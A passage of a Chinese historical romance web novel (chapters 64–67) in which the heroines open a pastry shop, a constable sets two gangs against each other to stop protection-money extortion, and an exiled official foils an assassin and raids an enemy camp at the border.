陆琛一眼就看出她心情不好。
对于她为何心情不好，他也知道原因。
他一直都派人注意着宋家人的一举一动。
倒不是为了监视他们，而是担心他们几个女子，如果遇到危险，他若不能第一时间知道的话，没办法及时赶过去帮她们。
“还在为白天摆摊的事发愁么？”
莫婉晴毫不犹豫地点点头。
在陆琛面前，她已经习惯不去掩饰自己的情绪。
突然，她像是想起了什么，停下脚步转身看向身边的人，眼神犀利：“你之前对我说，摆摊的时候不一定会顺利。是不是早就知道青龙帮会去收保护费这个事？”
陆琛低头看她，沉默不语。
莫婉晴便知道，她的猜测没有错。
陆琛就是知道自己会有这个下场，才会说那样的话。
“婉晴，这个世界不是你想那样，非黑即白。你心中的世界美好的像一个桃花源，但是在现实中是根本不会存在的。”
“就像我，也从来都不是你想象中那个样子。我丑陋的一面从来不会展现在你的面前，但这不代表我没有这一面。”
莫婉晴看着他，突然想起自己第一次见到他时候的模样。
那时候，他不分青红皂白，非要将陆思云带走，她只觉得眼前之人甚是可恶，怎么会去想他有多好，更别说会喜欢上他。
可是如今自己还不是深陷其中。
所以很多事，都不是绝对的。
“锦衣卫在外的名声，似乎不需要我来告诉你，你自己也很清楚。陆琛，我从来不认为你是美好的。但你也没有你自己想的那么丑陋。”
陆琛看着她，眼底有光在闪烁。
“也许在你看来，我是一个不谙世事的高门大小姐，不识人间疾苦。但是你看，这一年多的时光，我也经历了许多，收获了许多。我并没有被这个世道打败，并且我还想一直战斗下去。虽然这个世界确实如你所说，不是非黑即白，甚至于很多地方比我想的还要黑暗的多。但是我愿意相信，这个世界，还是有公道在，总会有人跳出来，为我们老百姓做实事。”
“这个世界虽然黑暗，但是我希望我们心中的光不要被熄灭。”
陆琛看着眼前的女子，这是他爱的人，此时仿佛是在发光，让他挪不开眼睛。
他微微上前一步，握住她垂下的柔软细腻的手，轻声应道：“好，听你的。”
64.第 64 章
今日陆思云休沐，但她还是去了六扇门找萧楚翊，将青龙帮私自收取保护费的情况告知了他。
听了她的汇报，萧楚翊沉吟，脸上没有意外的神情。
陆思云见他是这样的反应，心下沉了半截。
看来萧楚翊对这件事是一直知晓，并且默认的。
“看来萧捕头知道此事。”
萧楚翊也不否认：“我确实知道此事，只不过青龙帮收保护费这个事，也并不在我的管辖范围之内。”
“此话怎讲？”
陆思云还是第一次听说六扇门内还有不同管辖范围，她以为只要是衙门该管的事儿，他们捕快都是有权利的。
看来事情并没有她想的那么简单。
“六扇门分好几个班，每个班都管理不同的内容。像我的班，专门负责刑事案子，哪里出现了盗窃、杀人的事，都是我们班的人出动去处理。还有的班负责六扇门的内部事务，有的班负责洛城的街道管理。”
原来如此。
陆思云明白了，就好比一个警察系统，还有不同分管部门呢。
自己在的这个科室正好是刑侦科，现在她遇到的这个事儿得找城管部门。
“那你可知，是哪个班与青龙帮的人接触的最多？”
“三班的邓石，邓捕头。”
“这位邓捕头，你对他的了解有多少？”
萧初翊沉吟了片刻，整理了一下自己的措辞，道：“这位邓捕头……不是很好相处。”
行吧，听萧楚翊的语气，这邓捕头绝非善类。
衙门中人，特别是他们这些底层的小捕快，平时没念过什么书，还经常游走在市井，自然沾上一些市井上的风气。
再加上三班的捕快又经常跟青龙帮的人有接触，这耳濡目染的，那都是一帮什么样的人，陆思云大概心中有数。
如果自己冒冒失失地去找邓捕头，要求他取缔青龙帮这收取保护费的行为。
无疑是打草惊蛇。
邓捕头非但不会帮她来针对青龙帮，反而还会倒打一耙，帮着青龙帮的人对付她。
毕竟他们早就黑白相融，不分彼此。
看来这件事还需要从长计议，好好谋划一下才行。
见她沉默不语，萧楚翊直觉她又在打什么主意了。
“如果邓捕头那边不好疏通，你打算如何做？”
“城东和城北有两个帮派，城东有青龙帮，城北有白虎帮，他们向来井水不犯河水，这个萧捕头可知道？”
“自然是知道的。”就算这俩帮派他平日里接触不多，但只要是衙门中人，对这两个帮派多少还是有些了解的。
“既然衙门的人与他们关系盘根错节，无法连根拔起。那只有让他们两派相争，我们渔翁得利了。”
听了她的话，萧楚翊眼珠子一动，露出了感兴趣的笑容：“楚娘子打算怎么让他们两派相争？”
陆思云摸着下巴，脑子里坏主意一个接一个的，不断地再脑海里飞蹦而出。
“萧捕头，有件事我想请你帮个忙。”
“什么事？”
陆思云露出狡黠的笑容看着他。
从六扇门出来，陆思云没有立刻回家，而是去了集市，帮莫婉晴她们一起收摊。
这几日，翠柳做的糕点十分受欢迎，每次出摊，排队的队伍长的都看不到尽头。
如果是在现代，他们的摊位绝对是当之无愧的网红摊位了。
陆思云忍不住想，这古代的钱可真是比现代人的钱好赚多了。
只要味道拿得出手，就不愁卖不掉。
不像现代人，不只质量不能差，还要会营销，搞各种花样来吸引人来买，这可比古代卷多了。
陆思云赶到的时候，她们已经将今日的糕点全都售完，可是还有很多人排着对不肯走。
莫婉晴正在安抚大家，答应他们明天一定多做一些，不让大家空手而归。
看到翠柳的糕点这么受欢迎，陆思云也觉得很高兴。
哪怕以后她不做自己的丫鬟，自己开家糕点店铺或者去酒楼里做个糕点师傅也是极好的。
收摊后，四个人一起推着车往回走。
落日余晖照在她们的身上，使得她们看上去更加鲜活了起来。
“二夫人今天白天的时候，有人找我们茬，你都没看见那场面，吓死我了。”翠柳连忙向陆思云告状。
听见她们被欺负，原本笑嘻嘻的陆思云立刻收敛了笑容，看向一旁的莫婉晴：“今天你们被人欺负了？是哪个混蛋这么不长眼，敢欺负你们？”
“就是一些登徒子，想要轻薄大夫人。”
“什么？还有这等事？”
莫婉晴还没来得及开口，碧水便抢先回答：“不过幸好陆大人及时赶到，把那几个登徒子打得落花流水。”
“我第一次觉得陆大人这般英勇神武，他一点都不像之前那样可怕了。”翠柳犯着花痴。
一听到陆琛出手解围，陆思云这才放心了下来。
她转过头，看到莫婉晴脸颊绯红，一副小女人的娇羞模样。
她突然就很想念远在边境的宋晏初。
不知道他现在如何，是否顺利到达边境。
宋晏初带着云青，在锦衣卫和暗卫的护送下，顺利来到大宣国边境南苗。
南苗位于大宣国和北国的交界处，是北国伺机冒犯我朝边境时必争之地。
为了对抗北国的挑衅骚扰，大宣国派了军队常年驻守在边境。
而驻守边境的将军曾经是楚星然的父亲楚越，后来楚越打了一场大胜仗回皇城后，便赋闲在家。
现在由楚越曾经最得力的手下杨诚杨将军作为接班人驻守在大宣国边境，维护一方和平。
宋晏初还为抵达南苗之前，楚越便受陆思云所托，写信给杨将军，让其对自己的女婿多多照顾。
别的细节信中一概没说。
陆思云担心此等关于国之命运的大事，如若被人中途节奏信件，查看到，会给宋晏初带来麻烦。
所以为了以防万一，他的秘密知道的人越少越好。她便没有跟父亲说太多。
父亲对她一直都宠爱有加，她求自己写封信给曾经的部让他照拂宋晏初。
楚将军也只当是自己女儿心疼自己的夫君，不想让他在那苦寒之地吃太多哭，才让自己写信打个招呼，并未想太多。
陆思云让父亲写信一封的目的，确实是希望杨将军可以多多照拂宋晏初，其他的事情，她相信宋晏初自己会亲自同杨将军密谈，不需要她插手太多。
有了楚越将军的这封信，宋晏初到的时候，杨将军已经做好了迎接他的准备。
“宋大人，卑职已经等候多时。”
宋晏初对杨诚将军一直都略有耳闻，也对杨将军一心为国，甘愿将自己的一生都献给守护边境上而感到敬佩不已。
今日见到本人，反而是宋晏初比较激动。
“杨将军，如今我被流放充军，早就不是什么大理寺少卿了，反而您现在才是我的上级。”
“宋大人来之前，我已经收到楚老将军的书信。楚将军一手将
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我从军营里提拔上来，如若没有他，就没有今天的杨诚，所以他老人家交代我的事，我是必定要办妥的。”
宋晏初心中了然，肯定是陆思云担心自己来这边境之地会不习惯，才让她父亲写信给杨将军照顾自己。
他的心底流过一丝暖意。
两人寒暄了一会儿，宋晏初突然神色凝重地对杨诚说：“杨将军，我有些要事需要跟您单独商谈，麻烦您行个方便。”
察觉初他的神情严肃，杨诚知道他所谈之事一定至关重要，于是便将他带进自己的营帐，并退左右，帐内只剩下他们二人。
宋晏初从衣襟深处拿出那份皇上亲笔书写加盖印的密信，交于杨诚。
“这是皇上的密信，让我交给杨将军过目。”
一听到是皇上亲笔写的密信，杨诚的神色立刻肃穆了起来。
他双手接过密信，小心翼翼地拆开，一目十行地读了起来。
等他看完皇上的密信，他拿着信立刻朝宋晏初跪了下来。
宋晏初连忙将他扶起。
“杨将军，晏初受不起，您快起来。”
“皇上的密信我已看完，宋大人此行的目的我已知晓。末将万万没想到，我们这些将士们在边境吃苦杀敌守卫大宣国的疆土，皇城之内竟然还有叛贼狗贼外敌，妄想毁我大好河山，作为大宣国的子民，我绝对不允许这样的事发生。日后宋大人如有什么吩咐，末将义不容辞。”
杨将军的一腔爱国热血同样感动了宋晏初。
他握住杨将军的手，很高兴刚到南苗就能得到这么一位得力干将，对他来说简直是如虎添翼。
“在下一直都十分欣赏杨将军的品质与才能，这次我前来此处。一来是为了同杨将军一起守护好大宣国的边境，二来是为了找出和亲王通敌叛国的罪证。前者是杨将军的强项，上阵杀敌，宋某绝对听从杨将军的指挥。而这后者需要长期的查探和布局，这就是我的强项，还希望杨将军可以配合在下，助在下一臂之力。”
“那是自然。宋大人为了维护大宣国的安危，不惜冒险前来这苦寒之地，此精神实在让我佩服。往后在营中，你我同吃同住，情同兄弟，一起守护这边境之地。”
“好！”
有了杨诚的帮助，宋晏初心里便有了底气，踏实了不少。
杨诚立刻让手下的士兵给他安排了一个专用的营帐，里面设施同自己一模一样。
很快，军队里便传出，朝廷派来了一个将军，跟杨将军平起平坐，一起帅兵打仗。
无人知晓他是朝廷的钦犯，是被流放至此。
宋晏初来到军营没几天，便收到了陆思云的第一封信。
他打开信，看到她娟秀的字迹活跃于纸上，向他诉说着她们几个在洛城创业的事情，语气欢脱，仿佛她本人就站在自己面前笑着说给他听一般。
杨诚见他笑着读完了整封信，一脸满足地将信放进衣襟里，好奇地问：“是何人的信，让宋大人读了之后如此欢喜？”
宋晏初如实回答：“是内子写给我的家书。”
“原来如此。”杨诚恍然大悟，随即脸上浮现出些许失落的神色：“我行军打仗多年，早就不记得自己有多长时间没有回家看看妻儿。我儿大概现在已经有这桌子这般高了。我若回家，他怕是认不得我了。”
宋晏初听了很是心酸。
“待平定了北边的霍乱，杨将军定能有时间回家乡探望自己的妻儿。”
杨诚的脸上又恢复了以往的精神气，他笑着说：“希望我和宋大人，都能如愿以偿。”
65.第 65 章
最近洛城不太平。
原本东有青龙帮，北有白虎帮，两帮势均力敌，但却从来都是各管各的，井水不犯河水。
但最近几天，两帮派的摩擦却是不断。
先是青龙帮以低于白龙帮的价格，截胡了白虎帮的镖。
这种半路抢生意的事，以前从未发生过，这让白龙帮的人很是恼火。
紧接着，就不断有白龙帮的人大摇大摆地跑到城东来，与青龙帮的人几次发生口角，差点动起手来。
两帮之间小摩擦不断，怨气不断在积累。
而陆思云便是在等着这一刻，她看到时机成熟，便开始了她的计划。
她找了几个关系比较好的六扇门同僚，一起换上青龙帮的衣服，走到城北集市，先是耀武扬威地走了一圈，然后对着各个商贩索要保护费。
有的商贩怕惹事，虽然心里一百个不情愿，却还是乖乖交了保护费。
有的骨头硬的便是不愿意给：“我们这里一直是白虎帮在收保护费，你们青龙帮为何要来掺合一脚？如此一来，我们不是得收两份保护费了？”
陆思云要的就是这个效果，她戴着假胡子，穿着青龙帮的衣服，凶神恶煞地吼：“我管你们什么白虎帮黑猫帮。从今日起，都是我们青龙帮说了算。”
她的话立刻引起群众们的不满。
“怎么这样啊，还讲不讲道理啊！”
“这还让人怎么做生意啊？”
“就是啊，太过分了！”
……
同样的方法，陆思云带着同僚们又在城东的集市上上演了一番，成功激起了城东商贩们的不满。
青龙帮与白虎帮的人，都是一些头脑简单四肢发达的莽夫。
被陆思云这么一算计，立刻中了圈套。
双方在荒郊野外约战，结结实实地干了一场。
由于两边都比较上头，势必要干倒对方的架势，所以这场火拼可谓是盛况空前。
经此一战，两大帮派元气大伤，全都蛰伏起来，养精蓄锐。
这就是陆思云想要看到的结果。
莫婉晴这几日一直有些心绪不宁，今日便是说好要交保护费的日子，她心里很是担心。
二两银子，她不是拿不出，而是不甘愿。
二两又二两，如果她也屈服的话，那就是为虎作伥。
她做好跟恶势力抗争到底的打算。
然而一直等到陆思云来帮她们收摊回家，都没有等到青龙帮的人过来收保护费。
她忍不住心中的好奇询问陆思云：“妹妹，今日不见青龙帮的人来找我们的麻烦，可是妹妹做了什么？”
陆思云笑地说：“真是什么都不瞒不过姐姐。”
于是将这几天她做的事全都告诉了莫婉晴。
莫婉晴听完，脸上露出欣赏的神色：“妹妹好计策，这样他们就暂时没有精力收我们保护费了。”
“其实这也只是一时的法子，终究是没办法斩草除根。”
“此事需要从长计议。这两个帮派已经形成很久，涉及很多方面，并与衙门还有牵扯，一时半会还不能搬动他们，这事不急于一时。”
“姐姐说的是，这事急不来。”
原本陆思云以为自己做得天衣无缝，却不想还是露了马脚。
当邓捕头找到她的时候，她就知道自己暴露了。
在见到陆思云之前，邓石是听说过这号人物的。
毕竟能在皇城脚下，以一个女子身份进入六扇门做捕快，并能在圣上面前用一炷香的时候破签的，也就她一人而已。
他早就想见一见这位楚娘子，却一直没什么机会。
没想到今日，竟然以这样的一个机缘之下，见到了。
陆思云也是第一次见到邓石。
她对邓石的印象并不好。
不仅是因为从萧楚翊那里听到他一些不好的评论，更是因为能跟青龙帮勾结的人，自然是黑白不分之人。
这样的人自甘堕落，与她不是一路人。
“邓捕头，不知道您今日叫小人过来，有何贵干？”
“一直久仰楚娘子大名，今日一见果然名不虚传啊。”
陆思云吃不准他话中的意思，只能顺着他的话敷衍：“如今小人只不过是一个小小的捕快，邓捕头谬赞。”
“此言差矣。楚娘子只凭一己之力，就让洛城最大的两个帮派自杀残杀，这般胆识就是一般男子也比不上半分。”
陆思云神色一凛。
他果然知道了。
但表面上，陆思云还是不动声色：“邓捕头在说什么，小人怎么听不懂？”
邓石突然脸色一变，用力拍了拍桌子，朝她怒吼道：“楚星然！你别不识好歹，若要人不知除非己莫为，你自己干了什么事，你自己清楚，我也清楚！咱们就没必要在这里演戏了吧。”
陆思云估摸着是与自己一起行动的同僚中有人出卖了自己。
既然事情已经说穿，那她也就没必要再隐瞒下去。
“邓捕头今日找小人过来，是来算账的吗？”
“你要还是以前那个大理寺少卿二夫人的身份，或许我还会睁一眼闭一眼就这么算了。但你现在不过个囚犯之妻，能让你回六扇门已经是宋典史大发慈悲。你居然还有胆来坏老子的好事？”
面对邓石凶神恶煞的模样，陆思云倒是并不畏惧。
她头脑思路清晰地说：“邓捕头，其实我这么做是在帮你啊。”
“帮我？”邓石挑了挑眉，有些不明白。
“青龙帮和白虎帮这两个帮派，仗着有您……哦不是，是六扇门的扶持，平时在民间没少作威作福。在集市上收取摊贩们的保护费，已经成了理所应当的事。那日他们又去向新来的摊贩收取保护费的时候，我正好在场，当时青龙帮的人就说就算是衙门的在这儿，这保护费也是照收不误的。您听听他们这番话，分明是不把我们衙门，不把您放在眼里。”
陆思云说得绘声绘色，邓石的脸上立刻有些不高兴。
“于是我才想了这个法子，打压打压他们的气焰。我知道衙门平日里需要仰仗他们的势力，才能更好的保障洛城的治安。但他们也是在我们衙门的庇护下，才得意生存。既然是相互依赖，怎能允许他们不把我们放在眼中？我也不过是替您教训教训他们罢了。”
“他们作威作福惯了，平时没少捞油水。有时候势力太盛，对我们来时候并不是好事，他们彼此制衡，我们在旁边坐收渔翁之利，有何不好？”
陆思云说得有理有据，竟然让邓石无法反驳。
“那你这么做，就不怕这青龙帮和白虎帮查出来这幕后指使是你，就不怕他们两个帮派联合起来对付我们衙门？”
陆思云笑着说：“邓捕头，您想什么呢？我们背后是谁？可是朝廷，可是天子！他们联合起来对付我们难道是想造反不成？您可以吃皇粮的官兵，难道还怕他们不成。至于他们会不会知道是我做的，这就要仰仗邓捕头帮我隐瞒着就行。有了邓捕头的照拂，以后我可以帮您时不时出出计策，打压打压他们。”
邓石想了想，不觉露出了满意的笑容。
“想不到你区区一个小女子，鬼主意居然这么多。”
见他态度有所转变，陆思云知道此事已经搞定，于是陪笑道：“这都是小人应该做的。”
两人谈得甚是融洽之际，房门突然被人从外面踹开。
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动静之大，二人都吓了一跳，不由得一起看着门口。
萧楚翊站在门口，一脸的凶神恶煞。
待他看到屋里的楚星然，立刻走进来，二话不说，一把抓住邓石的衣襟将他提了起来。
“邓石，我的手下你也敢抓，你是不是活得不耐烦了？”
邓石猝不及防，被他提了起来，脚尖离地，顿时呼吸困难：“萧捕……捕头，误会……都……都是误会……”
眼看萧楚翊就要把邓石弄晕，陆思云也急了，她好不容易安抚好邓石，化解了危机，可不能在这节骨眼上再生事端。
“萧捕头，误会误会！邓捕头只是找我过来问话，并没有把我怎么样。你先放开他，他快撅过去了。”
萧楚翊听了她的话，再看了一眼快要翻白眼晕过去的邓石，这才松了手。
邓石立刻无力地瘫倒再地上。
陆思云马上蹲下给他顺气，顺了半天看他惨白的脸色慢慢恢复了一点血色，这才松了口气。
离开了邓石的房间，萧楚翊便迫不及待地询问她：“这到底是怎么回事？我以为他肯定会为难你。”
“他一开始确实是想为难我来着。不过被我这三寸不烂之舌给说服了。已经没事了。”
虽然不知道她是怎么把邓石忽悠好的，但是只要她没有被邓石为难，对萧楚翊来说他就可以同邓石相安无事。
尽管陆思云未能将青龙帮收保护费的行为取缔，但也给摊贩们争取到了一些喘息的时间。
而莫婉晴她们的糕点摊位，利用这一段时间，赚到了结结实实的第一桶金。
这是姑娘们第一次用自己的双手获得的财富，兴奋之情溢于言表。
当莫婉晴将属于她们的那份工钱发到她们手中的时候，姑娘们还有点不相信。
翠柳看着这满满一手掌的铜钱，有些不敢相信地问陆思云：“这、这都是给我的吗？这个多！”
莫婉晴笑着说：“如果没有你的手艺，我们又怎么能赚得到这么多钱呢。这都是你的功劳，所以这些都是你应得的。”
翠柳顿时眼眶发红，她从来都没想过，自己有一天会靠自己的这项手艺赚到钱。
碧水见了，备受鼓舞：“我一定要多绣点荷包出来，希望有一天我也能想碧水姐姐一样，靠自己手艺赚钱。”
陆思云将两个丫鬟搂在怀里：“你们都很棒，都是家里的摇钱树。”
莫婉晴笑着看她们嬉笑打闹。
等她们闹得差不多了，她便开口宣布：“接下来我不打算摆摊了。”
听了她的话，所有人全都停下了动作，惊讶地看着她。
“为什么呀？我们摆摊赚了好多钱，好多人都到我们摊位买糕点吃，怎么突然就不摆摊了？”碧水不解释地问。
翠柳立刻上前询问：“大夫人，是不是我的糕点有什么问题？”
陆思云想的却是：“姐姐是不是还在担心青龙帮收保护费的事？”
见她们一个个都急哄哄的样子，莫婉晴没想到自己说到一半的话把她们给惹着急了，当下心里有些内疚。
“怪我话没说清楚。我的意思，接下来我打算租个店铺卖糕点，这样我们也不用每天风吹日晒的出摊，也不用担心保护费的问题。”
原来是这样。
众人全都松了口气。
“开店好，这样可以打响我们的招牌。我们要把翠柳的点心做大做强，做到皇城第一。”陆思云笑着道。
莫婉晴附和着点头道：“我也有此打算。”
两人相视而笑。
陆思云突然想起之前莫婉晴对她说想要做大做强，原来摆摊只是第一步，她早就打算白手起家，把这个营生慢慢做大。
66.第 66 章
“那我们是不是应该给我们店铺取个名字呀？”
陆思云看莫婉晴一脸笃定的样子，便知她早就想好了。
“姐姐是不是已经想好店铺叫什么了？”
碧水迫不及待：“叫什么叫什么？”
“叫珍果苑，你们觉得如何？”
“好名字！太好了，我们也有属于自己的店铺和招牌了！”
这个夜晚，拥有着梦想的一群姑娘们，在这间不算大却也不小的宅院内，一起畅谈着对未来的憧憬。
在南苗边境，宋晏初正坐在营帐里，借着烛光查看布兵防控图。
正看得入迷，忽然烛光一晃，他立刻警觉起来。
宋晏初眼角感受到一道寒光，他立即侧身躲过。
对方并未停止攻击，立刻又举着剑刺向他。
宋晏初手边没有趁手的武器，只能一边躲闪，一边打乱营帐里的东西，故意弄出些动静，好让外面的云青可以察觉到营帐内的情况。
但是不知道外面是什么情况，并没有任何人进来。
眼下他只能自救。
在躲过对方又一次攻击，杀手的剑不小心刺进木桩，就在对方拔剑的一个空档，他抓住机会，赶紧利落地一脚踢中对方腹部。
对手被他踢得后退半步，剑卡在木桩上。
见他丢了武器，宋晏初立刻扑过去与他用体术扭打了起来。
两个人纠缠得很激烈，对方功夫了得，宋晏初居然没有占不到好处。
拉扯间，宋晏初摸到地上的一根绳子，他毫不犹豫地抓起绳子，一个翻身，将绳子绕在对方脖子上，然后双腿用力夹住刺客的身体，收紧手中的绳子。
很快，怀里的人停止了挣扎，昏死了过去。
宋晏初确定怀里的人没有了反抗之力，这才松了手中的绳子，将怀中人一把推开，躺在地上直喘粗气。
对方武功不在他之下，撂倒他费了宋晏初好一番力气。
云青这才冲进营帐内。
看到眼前的情景，横竖都能猜到个大概。
他连忙跪下：“属下来迟了，求大人责罚。”
云青不会无缘无故离岗，宋晏初皱眉问：“你去了何处？为何不在营帐外？”
云青额头上密密麻麻全是汗，他如实回答：“属下方才听到西面有动静，便带兵去查看。没想回来却发现大人遭人暗算。”
宋晏初沉吟，原来是调虎离山之计。
他立刻翻找了躺在地上的人的衣物，并没有发现可以表明身份或是背后指使之人的任何标记。
宋晏初猜测此人如果不是和亲王的暗卫，就是北国的刺客。
但是眼下在此人身上没有找道任何能表明他身份的东西，便不能妄下定论。
很快，杨诚便闻讯赶到。
宋晏初和云青已经将他五花大绑在柱子上。
“我军营居然让一个刺客横行霸道，看来我们的布防还是不够严密。”
宋晏初点头表示赞同。
他原本就在看布防图，对我军的防控布局存在怀疑，现在这个插曲更验证了他们军营布防松懈的这个事实。
正说话间，刺客转醒过来，发现自己被绑在柱子上，立刻下意识地挣扎。
宋晏初厉声问：“说！是谁派你来刺杀我的？”
刺客怒视着他们，突然嘴巴里嚼碎了一个什么东西，然后便口吐鲜血，断了气。
他们还未来得及阻止，他便已经自尽而亡。
结果终究是什么都没有问出来。
唯一的线索就这么断了，杨诚有些慌乱地问：“宋大人，我们如今该怎么办？他们居然可以似乎忌惮地出现我军营，实在让人细思极恐。”
“当务之急，是要重新调整营地的布防结构，加大巡查力度，先巩固好军营的防守才是重中之重。另外，杨将军需要排查一下，军营是否有间隙。他能这么快就找到我所在的军营，营中必定有内应。如论是敌国的奸细还是和亲王的间隙，都必须尽快盘查出来。”
“是，末将立刻就去办。”
听见自己掌管的军队里居然混进了奸细，杨诚的脸色立刻便的有些煞白。
云青气愤地问：“大人，他们摆明了是冲你而来，我们应该如何反击？”
宋晏初却露出一抹邪魅的笑：“就怕他们的目标不是我。既然他们是冲我来的，此事正合我意。”
“大人可是有了什么办法？”
“如今敌人在暗，我们在明。我们形势被动。既然如此，我们就主动出击一回。”
“一切都听大人安排。”
杨诚的办事效率极快，没过几天就把混在军营非在册的人全都抓了起来。
一一排查过后，将确定是奸细和疑似的奸细的全都带到了宋晏初的面前。
宋晏初在这帮人面前踱来踱去。
突然，他在其中一个人的面前站定，用非常笃定地语气下结论：“你是北国的奸细。”
那人愣了几秒，立刻下意识的否认：“将军冤枉，我是土生土长的苗南人啊。”
“前几日，有一个刺客闯入的营帐内，他的身上有跟你一样的味道、”
杨诚不解地问：“什么味道？”
“辣子的味道。”
“辣子的味道？”杨诚凑上前去仔细嗅了嗅，还真的隐约能闻到一种与大宣国味道不同的辣子味。
“北国地处北面，喜欢吃辣子来御寒。而这种辣椒是北国特有的麻辣椒。你方才说你苗南人，为何身上却有北国人才有的辣子味？你分明是土生土长的北国人！”
北国奸细脸色苍白，嘴唇微抖，说不出话来。
这名奸细看上去也不过十四五岁的年纪，还是个半大的孩子。
近几年大宣国和北国交手频繁，北国兵源紧缺，征兵条件一再放宽，老弱小孩也不放过。
宋晏初之前还是大理寺少卿之时，听到此种传闻，还觉得匪夷所思。
如今见到这孩子，心里忍不住一阵刺痛。
原来他之前听说的，都是真的。
长年的战争，最苦的还是这些无辜的百姓。
如果可以，宋晏初也想今早地结束这种无谓的战争。
看他年纪尚小，全身发抖，看上去十分害怕的模样，宋晏初便打算给他一次机会。
他问小男孩：“你叫什么名字？”
“仕尔多。”
事儿多？
有趣的名字。
“你有什么愿望么？”
仕尔多等着一双大眼睛，诚实地回答：“我想回家。”
宋晏初的心，立刻就揪了起来。
“你只要帮我办件事，我便可以饶你不死，还能答应送你回家。”
仕尔多抬头看向他，眼神中尚有这个年纪该有的天真纯净。
“你只需要将河对面驻扎的北国军营的布防图画下来给我，我便可以保你性命无忧。”
仕尔多听了咬紧嘴唇，良久才开口：“可是这样，是卖国之举，我不能做。”
倒还有几分血性，这让宋晏初很是欣赏。
“我答应你，不伤害你的族人。我只是想去烧了你们的粮仓，让你们短期内没办法再对我们发起进攻。”
男孩还是犹豫。
“你喜欢战争么？”
男孩这下毫不犹豫地就摇头。
谁会喜欢战争呢？
“两国交战多年，百姓民不聊生。你们北国本就是地域小国，如何能与我泱泱大国抗衡。如果你的国家真的有能力与我们
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对战，他们又何苦征用你这么小的孩子参军？相信我，我会让这场无谓的战争早日结束，让你们以后也能过上安居乐业的生活。”
“可你搞偷袭，这不是君子所为。”
宋晏初乐了，他笑道：“他们让你做奸细潜入我军，打探军情，这就是君子所为么？”
男孩被问住了。
这似乎也不是光明正大之事。
“你若不放心，晚上可以跟我们一起去，倒也省的你画图，你直接带我们去你们的粮仓，我一把火烧了就走，绝对不伤害你们军营的任何一个士兵。”
听了他的话，男孩看着他，最终点头答应：“好，我跟你去。”
当日晚上，宋晏初带领一个小分队的人，潜入到地方阵营，干净利落地将对方阵营的粮草点了。
看着自己阵营内的军粮烧起的熊熊大火，敌方军营的领头将军怒不可歇。
宋晏初带着小分队的人站在山腰上，看着敌军营中高耸的火苗，士兵们灭火的呼喊声，露出了些许得意的笑容。
他拍了拍身边的仕尔多，对他说：“从今日起，你便做我的随从如何？”
仕尔多不理解：“为何？我可是北国人。”
“因为我答应要送你回家。但是目前我没办法兑现这个承诺。但是我可以答应你，等战争结束了以后，我会亲自送你回家与你的家人团聚。所以在此之前，你先留在我的身边，做我的随从如何？”
仕尔多原本以为，自己这名敌国的奸细被发现了身份，必死无疑。
可没想到这个将军，不但不杀他，还要让他做随从，并承诺会送他回家。
仕尔多一时间有些不敢相信，也有些懵，忘了该如何反应。
宋晏初看他呆萌的样子，觉得这孩子甚是可爱。
他摸了摸孩子的后脑勺，笑着道：“你不说话，我就当你答应了。走，我们回营地。”
------
自从莫婉晴宣布要开糕点铺了以后，她便着手开始物色合适的店铺。
白天摆摊的时候，她也会趁着空闲的时候去附近转转，查看查看附近有没有空出来的铺子。
晚上回了家，还要拉着松萝盘算着每日家里进进出出的账目，看看她们目前手上到底能有多少银子，估计着能大概租一个多大的店面。
莫婉晴的忙碌程度，一点都不比在六扇门当差的陆思云少。
但无论自己有多忙，每天晚上她都会出来与陆琛见面。
这是她一天中唯一让自己神经放松下来的时候，也是她一天中最期待的时光。
“听说你们打算开点心铺子？”
莫婉晴揶揄他：“还真是什么都瞒不过陆大人的眼睛。”
对于她调侃自己，陆琛并不在意。
与莫婉晴在一起，他仿佛被磨平了自己的棱角，变得柔和。
原本心中的不安和焦躁，也被眼前的人安抚好。原本自己那颗杀厉之心，也因为有了眼前之人而变得不再布满血腥。
与她在一起的这段时光，陆琛才觉得自己仿佛是个活生生、有血有肉的人。
“不过，店铺的事我也不在行，不能帮到你什么。”
“你已经帮了我很多了，剩下的事情就让我自己处理。你只要每天过来陪我说说话，就足够了。”
陆琛停下脚步，侧身看着她，眼角带笑，眉峰微挑：“就这么简单？”
他人很高，比莫婉晴要高出大半个头。
两人面对面说话的时候，她不得不抬头仰望着他。
“就是这么简单。”
陆琛向前一小步，拉近两人的距离，然后伸手拉住她的手臂，微微用力，将她带入怀中。
他在她耳边低语：“可我好像越来越贪心了。”
67.第 67 章
经过一段时间的物色，莫婉晴终于挑中了自己的心目中最理想的店铺。
店铺坐北朝南，又在护城河边，风景独特，人流量也多。
虽然租金比她们的预算高了一些，但思量再三，莫婉晴还是决定咬牙拿下。
付了租金之后，就立马开始装修店面。
莫婉晴便每日都要去店铺盯着工人做工，全程都由她亲自监工，半点都不敢有所懈怠。
她想快点把店铺整顿好，这样大家就可以早些在店铺里卖糕点，不用再每天为了出摊起早贪黑、风吹日晒。
终于，经历了一个月的时间。
从物色店铺到选定店铺，再到装修店铺，到去店铺铺货，为了这刚店铺，大家都付出了很多心血。
店铺筹备的这几日，陆思云只要有空都会来店里帮忙。
大家一起齐心协力，店铺终于布置完成。
莫婉晴特意选了一个黄道吉日，“果珍苑”正式开张了！
四位姑娘站在店铺门口，看着三个金灿灿的大字，顿时热泪盈眶。
她们终于拥有属于自己的第一家店铺。
这家店铺，完完全全是靠着她们自己做糕点，一分分钱赚出来的。
这是她们的起点，但她们心中明白，这里远远不会是她们的终点。
“果珍苑”开张那天，许多邻摊位的朋友全都来店里捧场。
陆思云还用现代人的思维，搞了一个开业大促销的活动，引来许多新老顾客的光临。
翠柳在后面厨房忙得连喝口水的功夫都没有。
看着新店欣欣向荣的模样，莫婉晴眼眶微酸，心中很是感慨。
忽然，莫婉晴的眼睛定在一处，再也移不开眼睛。
在人海中的尽头，她看到一个人穿着绛色的衣袍，安静地站在离她不远的地方。
他身体站得笔直，嘴角带笑，英气十足，正看着她。
这一瞬间，天地万物，仿佛就只剩下他们两人，彼此相望，四周都安静了下来。
陆思云显然也看见了站在不远处的陆琛。
她用胳膊轻轻撞了一下莫婉晴，示意她过去。
“陆大人来了，姐姐还不去招待一下。”
莫婉晴微红了脸颊，嗔怪地看了她一眼，在陆思云看热闹的眼神中，走向了陆琛。
陆琛站在原地，看着她一步步朝自己走来，眼睛从未从她的身上挪开。
等她走到面前，陆琛向她道喜：“恭喜莫老板，新店开张。”
见他一本正经地，莫婉晴也毕恭毕敬地回答：“陆大人大驾光临，真是让我们这个小店蓬荜生辉啊。”
陆琛立马破功，没办法再同她一本正经地开玩笑。
他立刻换上真诚的语气，认真地说：“恭喜。”
